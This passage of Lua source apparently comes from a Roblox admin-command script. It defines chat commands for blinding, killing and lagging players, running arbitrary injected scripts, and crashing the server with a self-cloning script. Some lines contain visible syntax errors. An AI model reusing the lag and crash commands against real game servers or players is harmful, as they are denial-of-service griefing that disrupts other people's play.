end)
Command("Blind", {"blind"}, 2, "Blinds A Player", "-u (UnBlind)", function(Speaker, Msg)
	if GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					local x = Instance.new("StringValue", v)
					x.Name = "DeltaStopTheBlindNow"
					local sg = v.PlayerGui:findFirstChild("DeltaBlind")
					sg.Frame:TweenSize(UDim2.new(0,0,0,0), "Out", "Quad", 0.5)
					Delta.Services.Debris:AddItem(sg, 0.5)
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					createScript([[
						script.Parent = nil
						player = game:GetService('Players'):findFirstChild(']]..v.Name..[[')
						PG = player.PlayerGui
						function Blind()
							local sg = Instance.new("ScreenGui", PG)
							sg.Name = "DeltaBlind"
							local fr = Instance.new("Frame", sg)
							fr.Size = UDim2.new(0,0,0,0)
							fr.BackgroundColor = BrickColor.new("Really black")
							fr.Name = "Frame"
							local txt = Instance.new("TextLabel", fr)
							txt.Name = "textbox"
							txt.Size = UDim2.new(1, 0, 1, 0)
							txt.TextColor = BrickColor.White()
							txt.BackgroundTransparency = 1
							txt.Text = "You got blinded!"
							txt.FontSize = "Size48"
							fr:TweenSize(UDim2.new(1, 0, 1, 0), "Out", "Quad", 0.5)
						end
						while wait() do
							if player:findFirstChild("DeltaStopTheBlindNow") ~= nil then player:findFirstChild("DeltaStopTheBlindNow").Parent=nil break end
							if PG:findFirstChild("DeltaBlind") == nil then
								Blind()
							end
						end
					]], Delta.Services.Workspace)
				end)
			end
		end
	end
end)
Command("Execute Script", {"c", "s", "script"}, 2, "QuickScripts a Script", "-l (Local)", function(Speaker, Msg)
	if GetSplit(Msg) == "l" then
		Msg = Msg:gsub("-l", "")
		local Split = Msg:find(Delta.Bet)
		local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
		local Source = Msg:sub(Split + 1)
		local x = [[
			s = setmetatable({}, {
				__index = function(Name, Service)
					return game:GetService(Service)
				end
			});
		]]
		if #Player > 0 then
			for _,v in pairs(Player) do
				ypcall(function()
					createLocalScript(x.." "..Source, v.Character)
				end)
			end
		end
	else
		local x = [[
			s = setmetatable({}, {
				__index = function(Name, Service)
					return game:GetService(Service)
				end
			});
		]]
		createScript(x.." "..Msg, Delta.Services.Workspace)
	end
end)
Command("Rare", {"rps"}, 2, "Runs a Protector Script", "-r (Rocks) -f (Fiery) -m (Magic) -s (Shield)", function(Speaker,Msg)
	if GetSplit(Msg) == "r" then
		Msg = Msg:gsub("-r", "")
			createScript([[
				wait()
				script.Parent = nil
				script:clearAllChildren()
				me = game:GetService("Workspace"):findFirstChild(']]..Speaker.Name..[[')
				me.Humanoid.Health = 1/0
				Instance.new("ForceField", me)
				torso = me.Torso
				local mat = "Plastic"
				t = 0.1
				m = Instance.new("Model",me)
				m.Name = "Suit"
				function make(a)
					c = Instance.new("Part",m)
					c.formFactor = "Custom"
					c.Position = a.Position
					c.Size = Vector3.new(a.Size.x,a.Size.y,t)
					c.TopSurface = 0
					c.BottomSurface = 0
					c.Material = "Concrete"
					c.BrickColor = BrickColor.new("Brown")
					c.Transparency = 1
					w = Instance.new("Weld",m)
					w.Part0 = c
					w.Part1 = a
					w.C1 = CFrame.new(0,0,a.Size.z/2)
					c2 = c:Clone()
					c2.Parent = m
					w = Instance.new("Weld",m)
					w.Part0 = c2
					w.Part1 = a
					w.C1 = CFrame.new(0,0,-a.Size.z/2)
					c3 = c:Clone()
					c3.Parent = m
					c3.Size = Vector3.new(t,a.Size.y,a.Size.z)
					w = Instance.new("Weld",m)
					w.Part0 = c3
					w.Part1 = a
					w.C1 = CFrame.new(a.Size.x/2,0,0)
					c4 = c3:Clone()
					c4.Parent = m
					w = Instance.new("Weld",m)
					w.Part0 = c4
					w.Part1 = a
					w.C1 = CFrame.new(-a.Size.x/2,0,0)
					c5 = c:Clone()
					c5.Parent = m
					c5.Size = Vector3.new(a.Size.x,0,a.Size.z)
					w = Instance.new("Weld",m)
					w.Part0 = c5
					w.Part1 = a
					w.C1 = CFrame.new(0,a.Size.y/2,0)
					c6 = c5:Clone()
					c6.Parent = m
					w = Instance.new("Weld",m)
					w.Part0 = c6
					w.Part1 = a
					w.C1 = CFrame.new(0,-a.Size.y/2,0)
				end
				for i,v in pairs(me:GetChildren()) do
					if v:IsA("BasePart") then
				if v.Name ~= "Head" then
					make(v)
				end
					end
				end
				function bounch(hit)
					for i,v in pairs (hit.Parent:GetChildren()) do
				if v:IsA("Humanoid") then
					v.Sit = true
					v.Torso.Velocity = CFrame.new(v.Torso.Position,torso.Position).lookVector * -500
				end
					end
				end
				rad = 5
				r = 30
				p = Instance.new("Part",m)
				p.formFactor = "Custom"
				p.Size = Vector3.new(0.5,0.5,0.5)
				p.Position = torso.Position
				p.TopSurface = 0
				p.BottomSurface = 0
				p.BrickColor = BrickColor.new("New Yeller")
				p.Transparency = 1
				ww = Instance.new("Weld",p)
				ww.Part0 = p
				ww.Part1 = torso
				p2 = p:Clone()
				p2.Parent = m
				p3 = p:Clone()
				p3.Parent = m
				ww2 = Instance.new("Weld",p2)
				ww2.Part0 = p2
				ww2.Part1 = torso
				ww3 = Instance.new("Weld",p3)
				ww3.Part0 = p3
				ww3.Part1 = torso
				ww3.C1 = CFrame.Angles(0,math.pi/2,0)
				for i = 1,360,r do
					wait()
					c = Instance.new("Part",m)
					c.Size = Vector3.new(1,1,1)
					c.TopSurface = 0
					c.BottomSurface = 0
					c.CanCollide = false
					c.Position = torso.Position
					c.Shape = 0
					c.Material = "Concrete"
					c.Touched:connect(bounch)
					c.BrickColor = BrickColor.new("Brown")
					mesh = Instance.new("FileMesh",c)
					mesh.MeshId = "http://www.roblox.com/asset/?id=1290033"
					w = Instance.new("Weld",c)
					w.Part0 = c
					w.Part1 = p
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,0,math.sin(math.rad(i))*rad)
				end
				for i = 1,360,r do
					wait()
					c2 = c:Clone()
					c2.Parent = m
					c2.Touched:connect(bounch)
					w = Instance.new("Weld",c)
					w.Part0 = c
					w.Part1 = p
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,0,math.sin(math.rad(i))*rad)
				end
				for i = 1,360,r do
					wait()
					c2 = c:Clone()
					c2.Parent = m
					c2.Touched:connect(bounch)
					w = Instance.new("Weld",c2)
					w.Part0 = c2
					w.Part1 = p2
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,math.sin(math.rad(i))*rad,0)
				end
				for i = 1,360,r do
					wait()
					c2 = c:Clone()
					c2.Parent = m
					c2.Touched:connect(bounch)
					w = Instance.new("Weld",c2)
					w.Part0 = c2
					w.Part1 = p3
					w.C1 = CFrame.new(math.cos(math.rad(i))*rad,math.sin(math.rad(i))*rad,0)
				end
				while wait() do
					ww.C1 = ww.C1 * CFrame.Angles(0,0.1,0)
					ww2.C1 = ww2.C1 * CFrame.Angles(0,0,0.1)
					ww3.C1 = ww3.C1 * CFrame.Angles(0,0,-0.1)
				end
		]], Delta.Services.Workspace)
	elseif GetSplit(Msg) == "f" then
		Msg = Msg:gsub("-f", "")
		createScript([[
			wait()
			script.Parent = nil
			script:clearAllChildren()
			person = game:GetService("Workspace"):findFirstChild(']]..Speaker.Name..[[')
			mybody = person:children''
			for _,v in pairs(person:children'') do
				if v:IsA("Hat") then
					v:remove()
				end
				if v:IsA("Part") then
					if v.Name == "Head" then v.face.Transparency = 1 end
					v.Transparency = 1
				end
			end
			person.Humanoid.MaxHealth = 1/0
			function onTouched(hit)
				humanoid = hit.Parent:findFirstChild("Humanoid")
				if humanoid ~= nil then
					humanoid.Health = 0
					humanoid.Parent:BreakJoints()
				end
			end
			for i = 1, #mybody do
				if mybody[i].className == "Part" then
					mybody[i].Touched:connect(onTouched)
				end
			end
			for i = 1, 3 do
				local f = Instance.new("Fire", person.Torso)
				f.Heat = 1/0
				f.Color = Color3.new(math.random(1,3),math.random(1,3),math.random(1,3))
				f.SecondaryColor = f.Color
			end
		]], Delta.Services.Workspace)
	elseif GetSplit(Msg) == "m" then
		Msg = Msg:gsub("-m", "")
		createScript([[
			wait()
			script:clearAllChildren()
			script.Parent = nil
			local player = game:service'Players':findFirstChild(']]..Speaker.Name..[[')
			local master = player.Character
			function create()
				m = Instance.new("Model", master)
				m[string.char(78, 97, 109, 101)] = string.char()
				h = Instance.new("Humanoid", m)
				h.MaxHealth = 0
				b = Instance.new("Part", m)
				b.Name = "Head"
				b.Position = master.Torso.Position
				b.Anchored = false
				b.CanCollide = false
				b.Transparency = 0.6
				b.Reflectance = 0.4
				b.BrickColor = BrickColor.new("Bright yellow")
				b.TopSurface = Enum.SurfaceType.Smooth
				b.BottomSurface = Enum.SurfaceType.Smooth
				b.FormFactor = Enum.FormFactor.Symmetric
				b.Size = Vector3.new(1, 1, 1)
				b2 = Instance.new("Part", m)
				b2.Position = master.Torso.Position
				b2.Anchored = false
				b2.CanCollide = false
				b2.Transparency = 0
				b2.Reflectance = 0.4
				b2.BrickColor = BrickColor.new("Light stone grey")
				b2.TopSurface = Enum.SurfaceType.Smooth
				b2.BottomSurface = Enum.SurfaceType.Smooth
				b2.FormFactor = Enum.FormFactor.Custom
				b2.Size = Vector3.new(0.2, 0.2, 0.2)
				b3 = Instance.new("Part", m)
				b3.Position = master.Torso.Position
				b3.Anchored = false
				b3.CanCollide = false
				b3.Transparency = 0.6
				b3.Reflectance = 0.4
				b3.BrickColor = BrickColor.new("Light stone grey")
				b3.TopSurface = Enum.SurfaceType.Smooth
				b3.BottomSurface = Enum.SurfaceType.Smooth
				b3.FormFactor = Enum.FormFactor.Custom
				b3.Size = Vector3.new(0.2, 0.2, 0.2)
				b4 = Instance.new("Part", m)
				b4.Position = master.Torso.Position
				b4.Anchored = false
				b4.CanCollide = false
				b4.Transparency = 0
				b4.Reflectance = 0.4
				b4.BrickColor = BrickColor.new("Light stone grey")
				b4.TopSurface = Enum.SurfaceType.Smooth
				b4.BottomSurface = Enum.SurfaceType.Smooth
				b4.FormFactor = Enum.FormFactor.Custom
				b4.Size = Vector3.new(0.2, 0.2, 0.2)
				b5 = Instance.new("Part", m)
				b5.Position = master.Torso.Position
				b5.Anchored = false
				b5.CanCollide = false
				b5.Transparency = 0
				b5.Reflectance = 0.4
				b5.BrickColor = BrickColor.new("Light stone grey")
				b5.TopSurface = Enum.SurfaceType.Smooth
				b5.BottomSurface = Enum.SurfaceType.Smooth
				b5.FormFactor = Enum.FormFactor.Custom
				b5.Size = Vector3.new(0.2, 0.2, 0.2)
				b6 = Instance.new("Part", m)
				b6.Position = master.Torso.Position
				b6.Anchored = false
				b6.CanCollide = false
				b6.Transparency = 0
				b6.Reflectance = 0.4
				b6.BrickColor = BrickColor.new("Light stone grey")
				b6.TopSurface = Enum.SurfaceType.Smooth
				b6.BottomSurface = Enum.SurfaceType.Smooth
				b6.FormFactor = Enum.FormFactor.Custom
				b6.Size = Vector3.new(0.2, 0.2, 0.2)
				b7 = Instance.new("Part", m)
				b7.Position = master.Torso.Position
				b7.Anchored = false
				b7.CanCollide = false
				b7.Transparency = 0.6
				b7.Reflectance = 0.4
				b7.BrickColor = BrickColor.new("Light stone grey")
				b7.TopSurface = Enum.SurfaceType.Smooth
				b7.BottomSurface = Enum.SurfaceType.Smooth
				b7.FormFactor = Enum.FormFactor.Custom
				b7.Size = Vector3.new(0.2, 0.2, 0.2)
				b8 = Instance.new("Part", m)
				b8.Position = master.Torso.Position
				b8.Anchored = false
				b8.CanCollide = false
				b8.Transparency = 0.6
				b8.Reflectance = 0.4
				b8.BrickColor = BrickColor.new("Light stone grey")
				b8.TopSurface = Enum.SurfaceType.Smooth
				b8.BottomSurface = Enum.SurfaceType.Smooth
				b8.FormFactor = Enum.FormFactor.Custom
				b8.Size = Vector3.new(0.2, 0.2, 0.2)
				b9 = Instance.new("Part", m)
				b9.Position = master.Torso.Position
				b9.Anchored = false
				b9.CanCollide = false
				b9.Transparency = 0.6
				b9.Reflectance = 0.4
				b9.BrickColor = BrickColor.new("Light stone grey")
				b9.TopSurface = Enum.SurfaceType.Smooth
				b9.BottomSurface = Enum.SurfaceType.Smooth
				b9.FormFactor = Enum.FormFactor.Custom
				b9.Size = Vector3.new(0.2, 0.2, 0.2)
				f2 = Instance.new("Fire", b2)
				f2.Size = 2
				f2.Heat = 0
				f2.Color = Color3.new(255/255, 255/255, 255/255)
				f2.SecondaryColor = Color3.new(1, 1, 0)
				f3 = Instance.new("Fire", b3)
				f3.Size = 2
				f3.Heat = 0
				f3.Color = Color3.new(255/255, 255/255, 255/255)
				f3.SecondaryColor = Color3.new(1, 1, 0)
				f4 = Instance.new("Fire", b4)
				f4.Size = 2
				f4.Heat = 0
				f4.Color = Color3.new(255/255, 255/255, 255/255)
				f4.SecondaryColor = Color3.new(1, 1, 0)
				f5 = Instance.new("Fire", b5)
				f5.Size = 2
				f5.Heat = 0
				f5.Color = Color3.new(255/255, 255/255, 255/255)
				f5.SecondaryColor = Color3.new(1, 1, 0)
				f6 = Instance.new("Fire", b6)
				f6.Size = 2
				f6.Heat = 0
				f6.Color = Color3.new(255/255, 255/255, 255/255)
				f6.SecondaryColor = Color3.new(1, 1, 0)
				f7 = Instance.new("Fire", b7)
				f7.Size = 2
				f7.Heat = 0
				f7.Color = Color3.new(255/255, 255/255, 255/255)
				f7.SecondaryColor = Color3.new(1, 1, 0)
				f8 = Instance.new("Fire", b8)
				f8.Size = 2
				f8.Heat = 0
				f8.Color = Color3.new(255/255, 255/255, 255/255)
				f8.SecondaryColor = Color3.new(1, 1, 0)
				f9 = Instance.new("Fire", b9)
				f9.Size = 2
				f9.Heat = 0
				f9.Color = Color3.new(255/255, 255/255, 255/255)
				f9.SecondaryColor = Color3.new(1, 1, 0)
				w = Instance.new("Weld", b)
				w.Part0 = master.Torso
				w.Part1 = b
				w.C0 = CFrame.new(0, 8, 0)
				w2 = Instance.new("Weld", b2)
				w2.Part0 = b
				w2.Part1 = b2
				w2.C0 = w.C1 * CFrame.new(0, 2.5, 0)
				w3 = Instance.new("Weld", b3)
				w3.Part0 = b
				w3.Part1 = b3
				w3.C0 = w.C1 * CFrame.new(0, -2.5, 0)
				w4 = Instance.new("Weld", b4)
				w4.Part0 = b
				w4.Part1 = b4
				w4.C0 = w.C1 * CFrame.new(2.5, 0, 0)
				w5 = Instance.new("Weld", b5)
				w5.Part0 = b
				w5.Part1 = b5
				w5.C0 = w.C1 * CFrame.new(-2.5, 0, 0)
				w6 = Instance.new("Weld", b6)
				w6.Part0 = b
				w6.Part1 = b6
				w6.C0 = w.C1 * CFrame.new(0, 0, 2.5)
				w7 = Instance.new("Weld", b7)
				w7.Part0 = b
				w7.Part1 = b7
				w7.C0 = w.C1 * CFrame.new(0, 0, -2.5)
				w8 = Instance.new("Weld", b8)
				w8.Part0 = master.Torso
				w8.Part1 = b8
				w9 = Instance.new("Weld", b9)
				w9.Part0 = master.Torso
				w9.Part1 = b9
				return
			end
			local cor = coroutine.create(function()
				while true do
					if m and w and w8 and w9 and master then
						for i = 1, 16 do
							w.C1 = w.C1 * CFrame.Angles(math.pi/32, math.pi/32, math.pi/32)
							w8.C0 = w8.C0 * CFrame.Angles(0, math.pi/16, 0)
							w8.C1 = w8.C0 * CFrame.new(6, 0, 0)
							w9.C0 = w9.C0 * CFrame.Angles(0, math.pi/16, 0)
							w9.C1 = w9.C0 * CFrame.new(-6, 0, 0)
							wait(0.00000000000000000000000000000000000000000000000000000000000001)
						end
						for i = 1, 16 do
							w.C1 = w.C1 * CFrame.Angles(math.pi/32, -math.pi/32, math.pi/32)
							w8.C0 = w8.C0 * CFrame.Angles(0, math.pi/16, 0)
							w8.C1 = w8.C0 * CFrame.new(6, 0, 0)
							w9.C0 = w9.C0 * CFrame.Angles(0, math.pi/16, 0)
							w9.C1 = w9.C0 * CFrame.new(-6, 0, 0)
							wait(0.00000000000000000000000000000000000000000000000000000000000001)
						end
					else
						return
					end
				end
			end)
			create()
			coroutine.resume(cor)
			function onChat(msg)
				if string.lower(msg) == "reset" then
					player:LoadCharacter()
				end
			end
			player.Chatted:connect(onChat)
			b8.Touched:connect(function(hit)
				if hit.Parent:FindFirstChild("Humanoid") then
					hit.Parent:BreakJoints()
				end
			end)
			b9.Touched:connect(function(hit)
				if hit.Parent:FindFirstChild("Humanoid") then
					hit.Parent:BreakJoints()
				end
			end)
			master.Humanoid.Died:connect(function()
				m:Remove()
			end)
		]],Delta.Services.Workspace)
	elseif GetSplit(Msg) == "s" then
		Msg = Msg:gsub("-s", "")
		createScript([[
			wait()
			script.Parent = nil
			script:clearAllChildren()
			local player = game:GetService("Players"):findFirstChild(']]..Speaker.Name..[[')
			if (player ~= nil) then
			wait()
			pcall(function() player.Character.ForceField:Remove() end)
			pcall(function() player.Character.Shield:Remove() end)
			pcall(function() player.Character.Humanoid.MaxHealth = 100 Player.Character.Humanoid.Health = 100 end)
			pcall(function() player.Character.Humanoid.WalkSpeed = 25 end)
			local Shield = Instance.new("Part", player.Character)
			local ff = Instance.new("ForceField", player.Character)
			local Weld = Instance.new("Weld", Shield)
			local bp = Instance.new("BodyPosition", Shield)
			local bg = Instance.new("BodyGyro", Shield)
			player.Character.Humanoid.MaxHealth = math.huge
			player.Character.Humanoid.Health = player.Character.Humanoid.MaxHealth
			Shield.Name = "Shield"
			Shield.Transparency = 0.5
			Shield.CanCollide = true
			Shield.Locked = true
			Shield.formFactor = "Custom"
			Shield.Shape = "Ball"
			Shield.Size = Vector3.new(10.5, 10.5, 10.5)
			Shield.Position = player.Character.Torso.Position
			Shield.BrickColor = BrickColor.new("Navy blue")
			Shield.TopSurface = 0
			Shield.BottomSurface = 0
			bp.position = Vector3.new(-22.5, 7.5, 55.5)
			bp.maxForce = Vector3.new(0, 1.0000e+008, 0)
			bg.D = 1
			bg.P = 1
			bg.maxTorque = Vector3.new(4.0000e+005, 0, 4.0000e+005)
			Weld.Part0 = player.Character.Torso
			Weld.Part1 = Shield
			Weld.C0 = CFrame.new(0, 0, 0)
			Shield.Touched:connect(function(p)
				if p.Parent:findFirstChild("Torso") then
					ex = Instance.new("Explosion", p.Parent)
					ex.Position = p.Parent.Torso.Position
					p.Parent:BreakJoints()
				end
			end)
			wait()
			end
		]],Delta.Services.Workspace)
	else
		return
	end
end)
Command("Message", {"m", "message", "msg"}, 2, "Shows A Message", "-h (Hint) -hg (Hint Gui) -m (Message) -t (Tablets)", function(Speaker,Msg)
	if GetSplit(Msg) == "h" then
		Msg = Msg:gsub("-h", "")
		local m = Instance.new("Hint", workspace)
		m.Text = Speaker.Name..": "..Msg
		Delta.Services.Debris:AddItem(m, 3)
	elseif GetSplit(Msg) == "hg" then
		Msg = Msg:gsub("-hg", "")
		Announce(Speaker.Name..": "..Msg, false)
	elseif GetSplit(Msg) == "t" then
		Msg = Msg:gsub("-t", "")
		OutputAll(Speaker.Name..": "..Msg, "Random", nil, 3)
	elseif GetSplit(Msg) == "m" then
		Msg = Msg:gsub("-m", "")
		local m = Instance.new("Message", workspace)
		m.Text = Speaker.Name..": "..Msg
		Delta.Services.Debris:AddItem(m, 3)
	else
		Announce(Speaker.Name..": "..Msg, true)
	end
end)
Command("Toggle Hats", {"hats"}, 2, "Targets A Player And Gives Hat Options", "-r (Remove) -s (Steal) -c (Clone)", function(Speaker, Msg)
	if GetSplit(Msg) == "r" then
		Msg = Msg:gsub("-r","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _, v2 in pairs(v.Character:GetChildren()) do
						if v2:IsA("Hat") then
							v2:remove()
						end
					end
				end)
			end
		end
	elseif GetSplit(Msg) == "s" then
		Msg = Msg:gsub("-s","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _, v2 in pairs(v.Character:GetChildren()) do
						if v2:IsA("Hat") then
							v2.Parent = Speaker.Character
						end
					end
				end)
			end
		end
	elseif GetSplit(Msg) == "c" then
		Msg = Msg:gsub("-c","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _, v2 in pairs(v.Character:GetChildren()) do
						if v2:IsA("Hat") then
							v2:Clone().Parent = Speaker.Character
						end
					end
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Instance.new("ForceField", v.Character)
				end)
			end
		end
	end
end)
-- Rank 3! --
Command("Lag", {"lag"}, 3, "Lags A Player", "-b (Banish) -t (Tool Lag)", function(Speaker, Msg)
	if GetSplit(Msg) == "b" then
		Msg = Msg:gsub("-b","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					ChangeRank(v, -2)
					Lag(v)
				end)
			end
		end
	elseif GetSplit(Msg) == "t" then
		Msg = Msg:gsub("-t", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					createLocalScript([[
						wait()
						script.Parent = nil
						local P = game:GetService("Players").LocalPlayer
						local PG = P.PlayerGui
						local BP = P.Backpack
						local CC = game:GetService("Workspace").CurrentCamera
						--P.CameraMode = Enum.CameraMode.LockFirstPerson
						game:GetService("RunService").Stepped:connect(function()
							for i = 1, 500 do
								Instance.new("Tool", BP)
								Instance.new("HopperBin, BP)
							end
						end)
					]], v:waitForChild("Backpack"))
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Lag(v)
				end)
			end
		end
	end
end)
Command("Shutdown", {"sd", "shutdown"}, 3, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow) -n (New Server)", function(Speaker, Msg)
	if GetSplit(Msg) == "c" then
		Msg = Msg:gsub("-c","")
		for i = 1, Delta.ShutdownTime do
			if Delta.Aborted == true then
				Delta.Aborted = false
				local ABM = Instance.new("Message", Delta.Services.Workspace)
				ABM.Text = "Shutdown Aborted!"
				Delta.Services.Debris:AddItem(ABM, 1)
				return
			else
				local ABH = Instance.new("Hint", Delta.Services.Workspace)
				ABH.Text = "Rank 3 And Up Can Say sd"..Delta.Bet.."-a To Abort!"
				local ABM = Instance.new("Message", Delta.Services.Workspace)
				ABM.Text = "Shutdown in "..Delta.ShutdownTime-i.." seconds"
				wait(1)
				if ABM ~= nil then
					ABM:remove()
				end
				if ABH ~= nil then
					ABH:remove()
				end
			end
		end
		Shutdown()
	elseif GetSplit(Msg) == "a" then
		Msg = Msg:gsub("-a", "")
		Delta.Aborted = true
	elseif GetSplit(Msg) == "o" then
		Msg = Msg:gsub("-o", "")
		createScript([[
			while game:service'RunService'.Stepped:wait() do
				script:Clone().Parent = game:GetService("Workspace")
			end
		]], Delta.Services.Workspace)
	else
		Shutdown()
	end
end)
Command("Locks", {"locks", "lockscripts"}, 3, "Locks/Unlocks Scripting", nil, function(Speaker, Msg)
	Dismiss(Speaker)
	Output(Speaker, "Lock ServerSided Scripts: "..tostring(Delta.ServerSidedScriptsLock), "Bright orange")
	Output(Speaker, "Lock Local Scripts: "..tostring(Delta.LocalSidedScriptsLock), "Bright orange")
	Output(Speaker, "Enable ServerSided", Delta.ServerSidedScriptsLock == false and "Lime green" or "Really red", function()
		Dismiss(Speaker)
		Delta.ServerSidedScriptsLock = not Delta.ServerSidedScriptsLock
		Output("Admins", "Server Sided Scripting is now "..tostring(Delta.ServerSidedScriptsLock), Delta.ServerSidedScriptsLock == false and "Lime green" or "Really red")
	end)
	Output(Speaker, "Enable Local Slided", Delta.LocalSidedScriptsLock == false and "Lime green" or "Really red", function()
		Dismiss(Speaker)
		Delta.LocalSidedScriptsLock = not Delta.LocalSidedScriptsLock
		Output("Admins", "Local Sided Scripting is now "..tostring(Delta.LocalSidedScriptsLock), Delta.LocalSidedScriptsLock == false and "Lime green" or "Really red")
	end)
end)
Command("Toggle Pri on/off", {"pri", "privateserver"}, 3, "PrivateServer Menu", nil, function(Speaker,Msg)
	if #Msg == 0 then
		Dismiss(Speaker)
		local Status = Delta.PrivateServer.Enabled == true and "On" or "Off"
		Output(Speaker, "Turn On", "Lime green", function()
			Dismiss(Speaker)
			for _,v in pairs(Delta.Services.Players:GetPlayers()) do
				if FindRank(v) <= 0.1 then
					table.insert(Delta.PrivateServer.Waiting, v.Name)
					Announce(v.Name.." got kicked due to private server.")
					v:Kick()
				end
			end
			Delta.PrivateServer.Enabled = true
			Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
		end)
		Output(Speaker, "Turn Off", "Really red", function() Dismiss(Speaker) Delta.PrivateServer.Enabled = false Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
		Output(Speaker, "Waiting List", "Deep orange", function()
			Dismiss(Speaker)
			-- [ Bugged ] --
			for i,v in pairs(Delta.PrivateServer.Waiting) do
				local a,b = ypcall(function()
					Output(Speaker, v, nil, function()
						Dismiss(Speaker)
						ypcall(function()
							Announce(v.." has been added to the private server!")
							table.remove(Delta.PrivateServer.Waiting, i)
							Delta.Ranked[v].Rank = 0.5
						end)
					end)
				end)
				if not a then Output("admins", b, 'Really red') end
			end
			Output(Speaker, "Back", "Really blue", function() Delta.Commands["Private Server"].Function(Speaker, "") end)
		end)
		Output(Speaker, "Status: "..Status)
	elseif Msg == "on" or Msg == "1" or Msg == "true" then
		Delta.PrivateServer.Enabled = true
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
			if FindRank(v) <= 0.1 then
				table.insert(Delta.PrivateServer.Waiting, v.Name)
				Announce(v.Name.." got kicked due to private server.")
				v:Kick()
			end
		end
		Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
	elseif Msg == "off" or Msg == "0" or Msg == "false" then
		Delta.PrivateServer.Enabled = false
		Output(Speaker, "Private Server Disabled", "Lime green", nil, 3)
	end
end)
Command("Deep Clean", {"deepcln", "deepclean"}, 4, "Deep Cleans the server.", function(Speaker,Msg)
	game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
game.Lighting.Ambient = Color3.new(1, 1, 1)
game.Lighting.Brightness = 1
game.Lighting.TimeOfDay = "11:00:00"
game.Lighting.FogEnd = 99999999
game.Workspace.Base.Transparency = 0
game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
game.Workspace.Base.Locked = true
game.Workspace.Base.Anchored = true
t = game.Teams:GetChildren()
for i = 1, #t do
if t[i]:IsA("Team") then
t[i]: Destroy()
end
end
l = game.Lighting:GetChildren()
for i = 1, #l do
if l[i]:IsA("Sky") then
l[i]: Destroy()
end
end
g = game.Workspace:GetChildren()
for i = 1, #g do
if g[i]:IsA("Part") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Script") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("StringValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("IntValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BoolValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("NumberValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("ObjectValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("RayValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Sound") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Accoutrement") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BrickColorValue") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Motor") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("MotorFeature") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Color3Value") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BindableEvent") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("BindableFunction") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("LocalScript") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
g[i]: Remove()
end
end
for i = 1, #g do
if g[i]:IsA("Hint") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Truss") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Tool") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("HopperBin") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Fire") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Explosion") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Hat") then
g[i]: Destroy()
end
end
p = Instance.new("Part")
p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
while true do wait()
for i = 1, #g do
if g[i]:IsA("Message") then
g[i]: Destroy()
end
end
for i = 1, #g do
if g[i]:IsA("Hint") then
g[i]: Destroy()
end
end
end
end)
Command("Clean", {"fc", "clean", "cln"}, 7, "Full Cleans The Server", nil, function(Speaker, Msg)
	FullClean()
end)
-- Rank 4! --

Command("Execute a Script", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
	local Ran, Error = loadstring(Msg)
